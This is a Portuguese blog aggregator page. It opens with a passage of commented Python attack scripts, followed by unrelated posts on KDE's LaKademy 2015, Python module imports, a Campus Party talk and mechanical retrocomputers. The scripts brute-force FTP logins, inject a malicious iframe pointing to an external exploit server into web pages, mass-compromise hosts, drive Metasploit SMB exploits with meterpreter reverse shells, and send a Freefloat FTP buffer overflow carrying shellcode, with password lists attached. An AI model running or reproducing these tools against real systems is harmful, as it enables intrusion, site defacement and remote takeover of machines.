# Abre o arquivo de usuarios e senhas
pF = open(passwdFile, 'r')
# Loopa todas as linhas do arquivo de usuarios e senhas
for line in pF.readlines():
# Aguarda 1 segundo
time.sleep(1)
# Separa o usuario da senha, separados por :
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')

print("[+] Trying: %s/%s" % (userName, passWord))
try:
# Cria um objeto de ftp para conexao
ftp = ftplib.FTP(hostname)
# Tenta logar via ftp usando os parametros informados
ftp.login(userName, passWord)
print('\n[*] %s FTP Logon Succeeded: %s/%s' % (str(hostname), userName, passWord))
# Fecha a conexao via FTP
ftp.quit()
return (userName, passWord)
except:
pass
# Se nao conseguiu conexao retorna erro
print('\n[-] Could not brute force FTP credentials.')
return (None, None)

# Parametros para conexao no host alvo
host = '192.168.56.107'
passwdFile = 'userpass.txt'
# Chama a funcao que tentar logar no host alvo
bruteLogin(host, passwdFile)


4-defaultPages.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import ftplib


def returnDefault(ftp):
""" Funcao de procura de paginas padroes """

try:
# Lista todos os arquivos de um diretorio
dirList = ftp.nlst()
except:
# Se nao conseguir listar os arquivos retorna erro
dirList = []
print('[-] Could not list directory contents.')
print('[-] Skipping To Next Target.')
return

# Variavel para armazenar o retorno
retList = []
# Loopa todos os arquivos encontrados no diretorio padrao do host alvo
for fileName in dirList:
# Transforma o nome do arquivo em minusculo
fn = fileName.lower()
# Verifica se no nome do arquivo existe .php, .htm, .html ou .asp
if '.php' in fn or '.htm' in fn or '.html' in fn or '.asp' in fn:
print('[+] Found default page: %s' % (fileName))
# Se encontrar arquivos com essa extensao, armazena para o retorno
retList.append(fileName)
return retList

# Parametros para conexao no host alvo
host = '192.168.56.107'
userName = 'sergio'
passWord = '123123'

# Cria um objeto de ftp para conexao
ftp = ftplib.FTP(host)
# Loga via ftp usando os parametros informados
ftp.login(userName, passWord)
# Chama a funcao de procura de paginas default
returnDefault(ftp)


4-injectPage.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import ftplib


def injectPage(ftp, page, redirect):
""" Funcao para inserir um arquivo html com codigos maliciosos """

# Abre o arquivo temporario
f = open('%s.tmp' % (page), 'w')
# Faz o download do arquivo html do host alvo
ftp.retrlines('RETR %s' % page, f.write)
print('[+] Downloaded Page: %s' % (page))

# Escreve o iframe no arquivo temporario
f.write(redirect)
# Fecha o arquivo temporario
f.close()
print('[+] Injected Malicious IFrame on: %s' % (page))

# Faz o upload do arquivo temporario com o redirect, renomeando para o arquivo principal
ftp.storlines('STOR %s' % (page), open('%s.tmp' % (page), 'rb'))
print('[+] Uploaded Injected Page: %s' % (page))

# Parametros para conexao no host alvo
host = '192.168.56.107'
userName = 'sergio'
passWord = '123123'

# Cria um objeto de ftp para conexao
ftp = ftplib.FTP(host)
# Loga via ftp usando os parametros informados
ftp.login(userName, passWord)
# Cria um redirect malicioso
redirect = '<iframe src="http:\\\\10.10.10.112:8080\\exploit"></iframe>'
# Chama a funcao para realizar o inject do codigo malicioso
injectPage(ftp, 'index.html', redirect)


4-massCompromise.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import ftplib
import optparse
import time


def anonLogin(hostname):
""" Funcao para conexao via FTP anonimo """
try:
# Cria um objeto de ftp para conexao
ftp = ftplib.FTP(hostname)
# Tenta logar via ftp anonimo
ftp.login('anonymous', 'me@your.com')
print('\n[*] %s FTP Anonymous Logon Succeeded.' % (str(hostname)))
# Fecha a conexao via ftp
ftp.quit()
return True
except:
# Se nao conseguir logar, retorna o erro
print('\n[-] %s FTP Anonymous Logon Failed.' % (str(hostname)))
return False


def bruteLogin(hostname, passwdFile):
""" Funcao para tentativa de conexao """

# Abre o arquivo de usuarios e senhas
pF = open(passwdFile, 'r')
# Loopa todas as linhas do arquivo de usuarios e senhas
for line in pF.readlines():
# Aguarda 1 segundo
time.sleep(1)
# Separa o usuario da senha, separados por :
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')

print("[+] Trying: %s/%s" % (userName, passWord))
try:
# Cria um objeto de ftp para conexao
ftp = ftplib.FTP(hostname)
# Tenta logar via ftp usando os parametros informados
ftp.login(userName, passWord)
print('\n[*] %s FTP Logon Succeeded: %s/%s' % (str(hostname), userName, passWord))
# Fecha a conexao via FTP
ftp.quit()
return (userName, passWord)
except:
pass
# Se nao conseguiu conexao retorna erro
print('\n[-] Could not brute force FTP credentials.')
return (None, None)


def returnDefault(ftp):
""" Funcao de procura de paginas padroes """

try:
# Lista todos os arquivos de um diretorio
dirList = ftp.nlst()
except:
# Se nao conseguir listar os arquivos retorna erro
dirList = []
print('[-] Could not list directory contents.')
print('[-] Skipping To Next Target.')
return

# Variavel para armazenar o retorno
retList = []
# Loopa todos os arquivos encontrados no diretorio padrao do host alvo
for fileName in dirList:
# Transforma o nome do arquivo em minusculo
fn = fileName.lower()
# Verifica se no nome do arquivo existe .php, .htm, .html ou .asp
if '.php' in fn or '.htm' in fn or '.html' in fn or '.asp' in fn:
print('[+] Found default page: %s' % (fileName))
# Se encontrar arquivos com essa extensao, armazena para o retorno
retList.append(fileName)
return retList


def injectPage(ftp, page, redirect):
""" Funcao para inserir um arquivo html com codigos maliciosos """

# Abre o arquivo temporario
f = open('%s.tmp' % (page), 'w')
# Faz o download do arquivo html do host alvo
ftp.retrlines('RETR %s' % page, f.write)
print('[+] Downloaded Page: %s' % (page))

# Escreve o iframe no arquivo temporario
f.write(redirect)
# Fecha o arquivo temporario
f.close()
print('[+] Injected Malicious IFrame on: %s' % (page))

# Faz o upload do arquivo temporario com o redirect, renomeando para o arquivo principal
ftp.storlines('STOR %s' % (page), open('%s.tmp' % (page), 'rb'))
print('[+] Uploaded Injected Page: %s' % (page))


def attack(username, password, tgtHost, redirect):
""" Funcao para inserir um arquivo com codigos maliciosos """

# Cria um objeto de ftp para conexao
ftp = ftplib.FTP(tgtHost)
# Loga via ftp usando os parametros informados
ftp.login(username, password)
# Chama a funcao de procura de arquivos
defPages = returnDefault(ftp)
# Loopa todos os arqivos encontrados
for defPage in defPages:
injectPage(ftp, defPage, redirect)


def main():
""" Funcao principal """

# Parse explicando como deve ser a chamada do script
parser = optparse.OptionParser('usage %prog -H -r [-f ]')

# Separa os parametros solicitados
parser.add_option('-H', dest='tgtHosts', type='string', help='specify target host')
parser.add_option('-f', dest='passwdFile', type='string', help='specify user/password file')
parser.add_option('-r', dest='redirect', type='string', help='specify a redirection page')

# Faz o parse dos parametros
(options, args) = parser.parse_args()

# Se nao receber os parametros solicitados para o script
if not options.tgtHosts or not options.redirect:
print(parser.usage)
exit(0)

# Separa os parametros em variaveis
tgtHosts = options.tgtHosts.replace(" ", '').split(',')
passwdFile = options.passwdFile
redirect = options.redirect

# Loopa todos os host enviados por parametro
for tgtHost in filter(None, tgtHosts):
username = None
password = None

# Tenta se logar de forma anonima no FTP
if anonLogin(tgtHost):
# Usa o login anonimo padrao
username = 'anonymous'
password = 'me@your.com'
print('[+] Using Anonymous Creds to attack')
# Se conseguiu acesso anonimo, chama a funcao para tentar
attack(username, password, tgtHost, redirect)

# Se informou um arquivo de senha via parametro
elif passwdFile:
# Chama a funcao de forcar o login para tentar acesso
(username, password) = bruteLogin(tgtHost, passwdFile)
if password:
print('[+] Using Creds: %s/%s to attack' % (username, password))
attack(username, password, tgtHost, redirect)

# Chama a funcao main principal
if __name__ == '__main__':
main()


5-conficker.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import os
import optparse
import nmap


def findTgts(subNet):
""" Funcao procurar o Samba rodando na porta padrao 445 """

# Cria um objeto do nmap
nmScan = nmap.PortScanner()
# Scaneia no host alvo o servico samba na porta 445
nmScan.scan(subNet, '445')
tgtHosts = []
# Loopa em todos os host encontrados no scaneamento
for host in nmScan.all_hosts():
# Se encontrar o servico up na porta 445
if nmScan[host].has_tcp(445):
# Verifica o status do servico
state = nmScan[host]['tcp'][445]['state']
# Se o servico estiver aberto, encontrou um alvo
if state == 'open':
print('[+] Found Target Host: %s' % (host))
# Armazena quais host tem o samba up com status aberto
tgtHosts.append(host)
return tgtHosts


def setupHandler(configFile, lhost, lport):
""" Funcao para setar atributos """

# Seta os parametros no arquivo de conf
configFile.write('use exploit/multi/handler\n')
configFile.write('set payload windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT %s\n' % (str(lport)))
configFile.write('set LHOST %s\n' % (lhost))
configFile.write('exploit -j -z\n')
configFile.write('setg DisablePayloadHandler 1\n')


def confickerExploit(configFile, tgtHost, lhost, lport):
""" Funcao para setar atributos """

# Seta os parametros no arquivo de conf
configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
configFile.write('set RHOST %s\n' % (str(tgtHost)))
configFile.write('set payload windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT %s\n' % (str(lport)))
configFile.write('set LHOST %s\n' % (lhost))
configFile.write('exploit -j -z\n')


def smbBrute(configFile, tgtHost, passwdFile, lhost, lport):
""" Funcao para setar senhas ao arquivo de conf """

# Seta um usuario
username = 'Administrator'
# Abre o arquivo de senha informado via parametro
pF = open(passwdFile, 'r')
# Loopa todas as senhas do arquivo informdo
for password in pF.readlines():
# Retira a quebra de linha
password = password.strip('\n').strip('\r')
# Seta os parametros no arquivo de conf
configFile.write('use exploit/windows/smb/psexec\n')
configFile.write('set SMBUser %s\n' % (str(username)))
configFile.write('set SMBPass %s\n' % (str(password)))
configFile.write('set RHOST %s\n' % (str(tgtHost)))
configFile.write('set payload windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT %s\n' % (str(lport)))
configFile.write('set LHOST %s\n' % (lhost))
configFile.write('exploit -j -z\n')


def main():
# Cria um arquivo temporario para armazenar as configuracoes
configFile = open('meta.rc', 'w')

# Parse explicando como deve ser a chamada do script
parser = optparse.OptionParser('[-] Usage %prog -H -l [-p -F ]')
# Separa os parametros solicitados
parser.add_option('-H', dest='tgtHost', type='string', help='specify the target address[es]')
parser.add_option('-p', dest='lport', type='string', help='specify the listen port')
parser.add_option('-l', dest='lhost', type='string', help='specify the listen address')
parser.add_option('-F', dest='passwdFile', type='string', help='password file for SMB brute force attempt')

# Faz o parse dos parametros
(options, args) = parser.parse_args()

# Se nao receber os parametros solicitados para o script
if (not options.tgtHost) | (not options.lhost):
print(parser.usage)
exit(0)

# Separa os parametros em variaveis
lhost = options.lhost
lport = options.lport
# Se nao passar uma porta informa uma padrao
if not lport:
lport = '1337'

# Separa os parametros em variaveis
passwdFile = options.passwdFile

# Chama a funcao para procurar um host com samba
tgtHosts = findTgts(options.tgtHost)

# Seta informacoes no arquivo de conf
setupHandler(configFile, lhost, lport)

# Loopa todos os hosts validos com samba
for tgtHost in tgtHosts:
# Seta informacoes no arquivo de conf
confickerExploit(configFile, tgtHost, lhost, lport)
# Se informou via parametro um arquivo com senhas
if passwdFile:
# Chama a funcao setar senhas ao conf
smbBrute(configFile, tgtHost, passwdFile, lhost, lport)

configFile.close()
os.system('msfconsole -r meta.rc')

# Chama a funcao main principal
if __name__ == '__main__':
main()


6-freeFloat.py


#!/usr/bin/Python
# -*- coding: utf-8 -*-

# Title: Freefloat FTP 1.0 Non Implemented Command Buffer Overflows
# Author: Craig Freyman (@cd1zz)
# Date: July 19, 2011
# Tested on Windows XP SP3 English
# Part of FreeFloat pwn week
# Vendor Notified: 7-18-2011 (no response)
# Software Link: http://www.freefloat.com/sv/freefloat-ftp-server/freefloat-ftp-server.php

import socket
import sys
import time
import struct

# Se os parametros forem menor que 2 informa como chamar o script
if len(sys.argv) 2:
print("[-]Usage: %s \r" % (sys.argv[0]))
print("[-]For example [filename.py 192.168.1.10 PWND] would do the trick.")
print("[-]Other options: AUTH, APPE, ALLO, ACCT")
sys.exit(0)

# Separa os paremetros em variaveis
target = sys.argv[1]
command = sys.argv[2]

# Se os parametros forem maior que 2 separa os parametros opcionais
if len(sys.argv) > 2:
platform = sys.argv[2]

# ./msfpayload windows/shell_bind_tcp r | ./msfencode -e x86/shikata_ga_nai -b "\x00\xff\x0d\x0a\x3d\x20"
# [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

# Variavel com hexadecimal para a criacao do metasploit
shellcode = (
"\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9"
"\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f"
"\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8"
"\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7"
"\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5"
"\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c"
"\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0"
"\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49"
"\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96"
"\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82"
"\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf"
"\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41"
"\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f"
"\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a"
"\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b"
"\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a"
"\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"
"\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea"
"\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8"
"\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6"
"\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea"
"\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30"
"\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53"
"\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85"
"\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25"
"\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10"
"\xba\x1e\x53\x31")

# 7C874413 FFE4 JMP ESP kernel32.dll
ret = struct.pack('<L', 0x7C874413)
padding = "\x90" * 150
crash = ("%s%s%s%s" % ("\x41" * 246, ret, padding, shellcode))

print("[*] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overflow")
print("[*] Author: Craig Freyman (@cd1zz)")
print("[*] Connecting to %s" % (target))

# Cria um objeto de conexao via socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# Conecta via socket de forma anonima
s.connect((target, 21))
except:
print("[-] Connection to %s failed!" % (target))
sys.exit(0)

print("[*] Sending %s %s byte crash..." % (len(crash), command))

# Envia o comando para utilizar o usuario anonimo
s.send("USER anonymous".encode())
# Espera uma resposta de 1024 bytes
s.recv(1024)
# Envia o comando para utilizar a senha vazia
s.send("PASS ".encode())
# Espera uma resposta de 1024 bytes
s.recv(1024)
# Envia o comando para utilizar o comando alterado
s.send("{} {}".format(command, crash).encode())
# Espera 4 segundos
time.sleep(4)


pass.txt


admin
root
toor
password
password1
12345

userpass.txt


administrator:password
admin:12345
root:secret
guest:guest
root:toor
sergio:123123


por smateus@gmail.com (Sérgio Mateus) em 28 de July de 2015 às 21:58

Filipe Saraiva

LaKademy 2015 – meu sprint do Cantor e outros trabalhos

De 3 à 6 de junho o KDE Brasil voltou à Salvador/Bahia para realizar o KDE Latin America Summit 2015 – ou, usando o nome mais bacana, LaKademy 2015.

Aracele já escreveu sobre como o KDE Brasil teve início. É inevitável não pensar aquilo quando falamos sobre KDE e Bahia ao mesmo tempo. KDE tem colaboradores no Brasil e na América Latina em geral desde muitos e muitos anos atrás (KDHelio está aqui para nos lembrar 😉 ) mas o moderno KDE Brasil, orientado à comunidade, com presença contínua nas principais conferências sobre software livre no Brasil, com diversos desenvolvedores, tradutores, e mais, nasceu na Bahia a partir do trabalho do grupo Live Blue – Sandro e Tomaz. Portanto, viajar à Bahia não é apenas uma jornada ao local de nascimento do Brasil moderno – é também uma viagem ao local de nascimento do moderno KDE Brasil.

Meu principal trabalho no LaKademy 2015 foi terminar o port do Cantor para Qt5/KF5. Eu iniciei essa tarefa no LaKademy anterior, e agora foi o momento de terminá-la. Durante o evento me foquei principalmente na remoção do KDELibs4Support. Durante o sprint abri 5 review requests, um para cada biblioteca removida. Agora estou terminando o mecanismo de carregamento de plugins e o trabalho estará terminado.

Mas esta não foi minha única atividade realizada. Durante o evento tivemos alguns projetores para apresentar palestras e material relacionado com contribuição para software livre. Apresentei o processo de revisão de código para os participantes e como submeter requisições de revisão. Isso foi realmente interessante para os novatos.

“Huumm… vamos compilar esse patch e ver o que acontece.”

Colocar diferentes contribuidores e novatos juntos é um momento interessante para troca de dicas e tirar dúvidas sobre diversos aspectos relacionados com contribuição. É interessante ver as diferentes distribuições Linux utilizadas por cada desenvolvedor, como cada um configura seu ambiente de desenvolvimento, e mais. É também um momento legal para sentar lado a lado com outros desenvolvedores para aprender um pouco mais, ou com os novatos para ensinar algo.

Enquanto trabalhei no port do Cantor, fui auxiliado por Daniela e Alana durante a remoção do KDialog. Outro momento legal foi ver a contribuição do Ícaro, Rodrigo e Fernando, adicionando a funcionalidade para automaticamente aumentar o tamanho das bolas no Kollision – precisamos entregar isso aos usuários!

“O que você acha dessa linha?”

E claro, tivemos um encontro de promo para discutir as atividades do KDE no Brasil para esse ano. Quem quiser ver nossas ações e propostas, basta dar uma olhada no quadro do KDE Brasil no kanboard.

Promo Promo Promo Promo Promo Promo

Agora é o momento de espalhar a mensagem do KDE nos eventos brasileiros de software livre – e esse trabalho já começou semanas atrás durante o FISL.

Finalizando, obrigado Sandro por ter organizado o LaKademy 2015 e por toda sua dedicação ao KDE Brasil. Gostaria de agradecer também a todos que contribuíram com o crowdfunding do LaKademy 2015 e ao KDE e.V. – vocês fizeram o evento acontecer! Obrigado também ao Aleix Pol por revisar minhas contribuições de código! =)

E obrigado Salvador por ser essa cidade maravilhosa e sua culinária espetacular! =D

Somos uma família feliz!

por Filipe Saraiva em 28 de July de 2015 às 15:04

Julio Cesar Eiras Melanda

Dicas para trabalhar com módulos em Python

Fala pessoal!

Batendo um papo muito legal com um pessoal num grupo de AngularJS, acabamos conversando sobre a forma como funcionam os imports em Python e vi que muita gente tem dúvidas quanto a isto, então, vamos lá.

As pessoas habituadas com outras linguagens estão habituadas a outras linguasgens como Java e C# por exemplo tem o hábito de enxergar os arquivos como containeres para as classes, e nada ou muito pouco além disto.

No Python, a orientação a objetos, e assim as classes não são estruturas obrigatórias. Os arquivos são um módulo Python, funcionando de forma similar aos pacotes do Java, por exemplo.

O arquivo Python sendo um módulo, podemos acessar as classes, métodos e variáveis que forem definidos, instanciados ou importados ali. 

Assim, se num módulo python tivermos o seguinte código:

podemos fazer:

Veja que conseguimos importar tanto a classe Teste que definimos quanto o path que importamos no módulo.

Apesar de um arquivo Python ser um módulo, nem sempre um arquivo é suficiente para organizar corretamente seu projeto. Para isto podemos quebrar nosso módulo em submódulos.

Basta termos um arquivo chamado __init__.py dentro de um diretório para que este diretório se torne um módulo python. Assim, se tivermos a seguinte estrutura:

módulo/
    __init__.py
    submódulo1.py
    submódulo2.py

podemos acessar uma classe do submódulo1 com um import "from módulo.submódulo1 import Classe"

Quando estamos trabalhando com Django por exemplo, os modelos são todos inseridos no módulo models.py. Eventualmente, podemos achar que nosso módulo está grande demais, e decidirmos qubrá-lo. A estrutura poderia ficar assim:

models/
    __init__.py
    empresas.py
    pessoas.py

Desta forma, a classe PessoaFisica poderia ser importada com "from models.pessoas import PessoaFisica". Porém, com isto perdemos um pouco da expressividade que temos normalmente no Django, em que importamos os modelos diretamente do módulo models.

Então, podemos definir uma esécie de API pública do módulo. O próprio Django faz isto quando podemos importar a classe View tanto de 

django.views.generic.base

quanto de

django.views

Isto é facilmente implementável definindo nos submódulos o atributo __all__, assim como neste exemplo:

Depois, no __init__.py importamos tudo que foi definido nos submódulos usando *, assim:

Isto nos permite importar a classe diretamente com "from models import PessoaFisica".

Espero que este artigo tenha jogado um pouco de luz sobre esta questão.

Qualquer dúvida, deixe um comentário, ou entre em contato direto comigo!

Grande abraço!

por Julio Cesar Eiras Melanda em 28 de July de 2015 às 02:28

July 27, 2015

Gileno Filho

Minha palestra na Campus Party Recife 2015

Olá pessoal, na sexta-feira passada - 24 de julho - participei da Campus Party Recife que aconteceu no Centro de Convenções de Pernambuco. No evento eu falei sobre Python e Educação, citando alguns exemplos do uso de Python nas universidades e escolas, e falei sobre o Python para Zumbis.

Infelizmente tive alguns problemas com meu computador e não consegui fazer um demo online para mostrar a simplicidade de Python e seu uso em diversos ambientes, felizmente consegui fazer um workshop posteriormente e mostrei alguns usos de Python com redes sociais, no caso o Facebook.

A palestra foi gravada e está disponível no youtube - player abaixo:

Eu preciso melhorar essa palestra colocando alguns pontos que já observei que faltou, quem quiser me ajudar usa os comentários, pois irei fazer uma palestra parecida num evento da UFRPE.

Pontos:

  • Falar do mercado atual de Python e suas oportunidades
  • Falar sobre os cursos em inglês do coursera, udacity, edx...
  • Mencionar o uso de Python na criação de games que estimulam o ensino
  • Vender meu Mac e volta a usar Linux ... (alguém ai afim de comprar?)

por Gileno Alves Santa Cruz Filho em 27 de July de 2015 às 17:29

July 24, 2015

Ricbit

Retrocomputação de Verdade #1

Quando eu falo que gosto de retrocomputação, a maioria das pessoas assume que eu estou falando de TK90X e MSX. Mas para mim esses aí não são retrocomputação, são só computação. Eu usei essas máquinas quando elas eram o que havia de melhor (na minha faixa de preço). Antes delas, porém, teve uma época mágica onde computadores eram grandes, barulhentos e ocupavam salas inteiras!

Sempre que eu estou viajando por aí, aproveito a oportunidade para visitar museus de ciência e conhecer esses grandes retrocomputadores do passado. Mas só ver de perto eu não acho tão legal, o que completa a experiência é entender como eles funcionam! Minha idéia original era falar sobre todos os retrocomputadores que já conheci, mas, como ficaria muito grande, vou começar só com os retrocomputadores mecânicos:

O Mecanismo de Antikhytera, 200-100 AC.

Museu Arqueológico Nacional, Atenas, Grécia


A maior prova da engenhosidade grega, o Mecanismo de Antikhytera é muitas vezes chamado de o primeiro computador. Quer dizer, é um computador analógico não-reprogramável, hoje em dia estaria mais próximo do que a gente chama de calculadora.

E para que ele serve? O Mecanismo tem a função de calcular intervalos de tempo: você gira uma manivela que aciona o ponteiro dos anos, e ele ajusta sozinho os outros ponteiros, que são muitos. Ele calcula o mês, a fase da Lua, a posição dos planetas, os eclipses mais próximos, a data da Olimpíada, a constelação do Zodíaco e assim por diante.

Todos esses cálculos são baseados em engrenagens dentadas. Se você tem uma engrenagem com x dentes ligadas a outra com y dentes, a segunda vai rodar com velocidade angular igual a x/y da original. Então você só precisa saber a razão entre a duração de um mês e um ano para fazer um ponteiro que indica o mês.

Mas os gregos eram realmente espertos, e sabiam que algumas relações você não consegue fazer só com razões. A posição da Lua, por exemplo. Eles sabiam que a Lua anda mais devagar em alguns trechos que em outros (por causa do que hoje conhecemos como segunda Lei de Kepler), e, para simular esse efeito, eles fazem uma das engrenagens não ter o centro fixo, assim ela tem velocidade angular variável com a posição.

E como sabemos tanto sobre ela, dado que só temos pedaços de um exemplar que foi achado em um naufrágio? É que um dos pedaços era o manual!

Olhe as inscrições em grego

Essa é a parte legal de visitar museus e ver essas coisas de perto, dá para prestar atenção nos detalhes!

O Motor de Diferenças, 1822

Museu da História da Computação, Mountain View, USA


O século XIX foi a época do Maxwell, Faraday, Tesla, Edison. A engenharia elétrica estava bombando! Mas, para fazer os circuitos funcionarem, você precisa saber resolver equações diferenciais bem complicadas. Essas contas eram resolvidas com tábuas de logaritmos que simplificavam bastante o processo. Mas quem criava as tábuas de logaritmos?

Em geral elas eram feitas por um batalhão de pessoas que calculavam logaritmos na mão, com seis ou sete dígitos significativos. É um trabalho repetitivo e propenso a erros. Hoje em dia nós sabemos que a melhor maneira de realizar cálculos repetitivos e propenso a erros é um computador, mas o primeiro a ter essa idéia foi o Babbage, em 1822. Nessa época ele conseguiu o financiamento para construir o Motor de Diferenças, que tem uma única finalidade: calcular polinômios. Assim ele teria como aproximar os logaritmos por séries de Taylor equivalentes.

Depois de sugar dinheiro do governo por vinte anos sem entregar nada, o financiamento foi cortado. (O governo percebeu que com aquela dinheirama toda dava para contratar gente o suficiente para calcular os polinômios e conferir as contas). Mas foi uma pena, porque o projeto do Babbage era sólido. Se tivesse sido terminado, nunca mais alguém precisaria fazer esse tipo de conta.

Mas será que o Babbage teria conseguido terminar, se não tivesse perdido o contrato? Em 1985, cientistas resolveram seguir o projeto original e montar um Motor de Diferenças de verdade. Eles descobriram que o projeto tinha pequenos erros, mas os erros eram tão bobos que certamente foram introduzidos de propósito, como forma de proteção contra cópia (a técnica de introduzir erros como proteção contra pirataria foi usada desde a Renascença, quem costumava fazer isso era o Leonardo da Vinci). Corrigindo os erros propositais, o Motor funciona! Atualmente tem duas réplicas em funcionamento, uma em Londres e outra na Califórnia.

Por dentro, o Motor de Diferenças também funciona com engrenagens como a Mecanismo de Antikhytera, mas com uma diferença fundamental. O Mecanismo codificava a informação como um ângulo da engrenagem, se você quisesse mais precisão, precisava aumentar fisicamente o tamanho da engrenagem. O Babbage queria precisões de sete dígitos significativos, aí esse método é inviável. A solução foi abandonar a codificação analógica e usar engrenagens digitais. Cada engrenagem marca um dígito de 0 a 9, e com sete engrenagens em sequência você codifica os sete dígitos desejados.

Duas engrenagens encaixadas implementam adição ou subtração (já que virando uma delas, a outra vira junto). Mas, se são engrenagens digitais, então falta um detalhe importante: o vai-um. Eu gravei o vídeo abaixo mostrando o carry propagando, garanto que é a coisa mais bonita que você vai ver hoje!

Propagação mecânica de carry

A Bomba de Turing, 1940

Bletchley Park, UK




Sobre a história desse computador eu não preciso falar muito, já que ela foi transformada em um filme: O Jogo da Imitação (tem no Netflix). Eles precisaram transformar a história do Turing num romance heterossexual para ficar palatável para as massas, mas tá valendo, pelo menos agora as pessoas sabem quem foi o Turing.

A máquina que ele criou era conhecida entre eles como a Bomba. Ela tinha uma única função: quebrar o código de criptografia da máquina alemã Enigma, então para entender a Bomba você precisa entender o Enigma antes. As primeiras versões do Enigma era assim:

O Enigma

O coração do Enigma são os rotores (as engrenagens à esquerda, na foto). Ao longo do rotor está sequência alfabética misturada. Quando inserida no slot apropriado, o rotor faz uma cifra de permutação, obedecendo uma tabela como essa:


Ou seja, a letra A no original vira Z, a letra B vira P, e assim por diante. Quebrar esse código é fácil, qualquer criança esperta consegue. Mas o Enigma é mais seguro que isso. Ao invés de um único rotor, ele tem três rotores em sequência, e os três são diferentes: a letra A vira Z, depois no rotor seguinte você pega esse Z e vira F, depois no último o F pode virar Q. E, para complicar mais, cada vez que você aperta uma tecla o rotor gira, ou seja, dá um offset de uma letra no primeiro rotor. Quando o primeiro rotor gira por completo, induz o segundo a girar uma posição, e assim por diante.

Bastante complicado né? Mas isso não é seguro o suficiente em um contexto de guerra mundial. A senha desse sistema é a configuração inicial dos rotores. Você pode encaixar os rotores no slot em qualquer ordem (6 combinações), e iniciando em qualquer ângulo inicial (26^3 combinações). Isso dá um total de 105456 senhas possíveis. Ninguém consegue testar todas essas senhas em um dia. Mas, também, ninguém precisa testar sozinho! É só pegar 105456 soldados e mandar cada um testar uma senha diferente. Um deles vai acertar de primeira! (E 105 mil soldados não é muito, é só lembrar que no Maracanã cheio cabem 80 mil pessoas. 105 mil soldados é um Maracanã e meio só).

Por isso os alemães colocaram na frente da máquina uns plugues adicionais, que servem para permutar letras na entrada. Se você liga um plugue da posição A para a R, então a letra A vira R e a letra R vira A. Eles usavam em média uns dez plugues, então o número de senhas sobe de 105 mil para 100 bilhões. Parece uma solução esperta, mas isso, na verdade, foi uma burrice dos alemães! Desse jeito, é garantido que a letra A nunca vai virar A de novo. Então eles aumentaram o número de chaves, mas diminuíram o espaço de busca.

Agora já dá para entender a Bomba de Turing. A Bomba, na verdade, é um emulador de Enigma (o Turing sempre foi fã de emuladores, seu conceito de máquina universal é basicamente um emulador genérico). Ele tem todos os rotores iguais aos do Enigma, e um motor que gira os rotores em todas as posições possíveis, bem rapidamente. Atrás de cada rotor tem um contato elétrico: se você colocar uma palavra codificada de um lado, e uma palavra traduzida do outro, quando os rotores giraram na posição correta, dá o contato e ele avisa que achou a senha. E na prática ele não precisa girar todas as combinações possíveis. Se em alguma rotação tiver uma letra que foi mapeada nela mesma, você pode cortar a árvore de busca, porque essa senha com certeza está errada.

Então tudo que resta para quebrar o Enigma é achar um par de palavras, uma codificada, e sua correspondente não-codificada. Isso é o que hoje em dia chamamos de known-plaintext attack. Parece difícil, mas existiam vários truques para conseguir pares assim.

Um deles era baseado no tamanho da mensagem máxima dos alemães. Quando estourava o limite de tamanho, eles quebravam a mensagem em duas, e a segunda parte começava com "continuando, ...". Então, quando encontravam pacotes de várias mensagens longas, uma seguida da outra, certeza que uma delas começaria com "Fortsetzung".

